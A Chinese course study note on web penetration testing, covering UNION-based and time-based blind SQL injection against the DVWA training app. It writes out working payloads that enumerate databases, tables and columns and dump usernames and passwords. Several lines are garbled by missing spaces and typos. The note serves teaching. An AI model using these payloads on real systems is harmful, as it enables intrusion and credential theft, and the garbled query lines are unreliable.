开发者学堂课程【网络安全攻防 - Web渗透测试:SQL 注入攻击_5】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9908
SQL 注入攻击_5
内容介绍
一、 基于 UNION 注入
二、 基于时间的盲注
一、 基于 UNION 注入
UNION 语句用于联合前面的 SELECT 查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过 union 语句来获取有效信息。
错误注入:通过单引号来判断是否接受单引号
布尔注入:用或的方式,构造一个为真的条件
//猜测数据列数
‘union select 1 --'
‘union select 1,2 --'
‘union select 1,2,3 --'
‘union select 1,2,3,4--'
SQL 注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id=’’union select 1--‘’
前面查询是两个字段,后面查询如果是一个字段的话会报错
mysql> select first_nane,last_name from dvwa.users where user_id=" union select 1,2 --‘’
//获得当前数据库及用户信息
‘union select version(), database()--'
结果
‘union select user(), database()--’(同理)mysql>selectfirst_name,last_namefromdvwa.userswhereuser_id=''unionselectversion(),database()
mysql> selectfirst_name,last_name from dwa.users where user_id=''union select user(), database()
说明:
version()获得数据库版本信息
database()获得当前数据库名
user()获得当前用户名
//查询数据库中所有表
information_schema 数据库是 MySQL 自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
SQL注入语句解析:
mysql> select* from information_schema.TABLES\G
//查询所有库名
‘union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables--'
mysql> select first_name,last_name from dvwa.users where user_id="union selectTABLESCHEMA, 1from INFORMATION_SCHEMA.tables --"
//查看所库中所有表名
‘union select table_name, 1 from INFORMATION_SCHEMA.tables--'
mysql> select first_name,last_name from dvwa.users where user union select tablename,1from INFORMATION_SCHENA.tables --‘’
查询结果
//同时查询表名及对应库名
‘union select TABLE_SCHEMA, table_namefrom NFORMATION SCHEMA.tables--'(在表名前加入库名)
查询结果
mysql>selectfirst_name,last_namefrondvwa.userswhereuser_id="unionselectTABLE_SCHEMA,table_name from INFORMATION_SCHEMA tables--’
//原始语句
mysql> select first_name,last_name from dvwa.users where user_id='$id"
//查询数据表
‘union select 1, column_name from INFORMATION_SCHEMA.columns where table name='users’--’
‘union select1,column_namefromINFORMATION_SCHEMA.columnswheretable_name=’USER_PRIVILEGES’--'
‘union select 1, column_name from INFORMATION_SCHEMA.columns where
table name=’SCHEMA PRIVILEGES’--'
SQL 注入语句解析:(由上述语句转化而来)
mysql> select first name,last_nane from dvwa.users where user_id''unionselect1,column_name from INFORMATION_SCHEMA.columns where table_name=‘users’--‘’
mysql> select first_name,last_name from dwa.users where user_1d-''unionselect1,column_name from INFORMATION_SCHEMA.columns where table_name-'USER_PRIVILEGES’--‘’
mysql> select first_name,last_name from dvwa.users where user_id''unionselect1,columm_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES’--‘’
//查询数据列
‘union select MULL, user from users--'
‘union select NULL, password from users--'
‘union select user, password from users--'
‘union select NULL, GRANTEE from USER_PRIVILEGES--'
"union select password, concat(first_name, ‘-’,last_name, " ,user) from users--'
SQL 注入语句解析:
mysql> use dvwa;
mysql> select first_name,last name from dvwa,users where user_id=''union select password,
concat(first_name, ,last _name, juser)from users--‘’
二、基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置 sleep 语句来探测注入点。
SQL 注入语句解析:
mysql> select first name,last_name from dvwa.users where user_id=‘1‘ and sleep(5)--‘
例如:给个真条件
则能够执行十秒钟






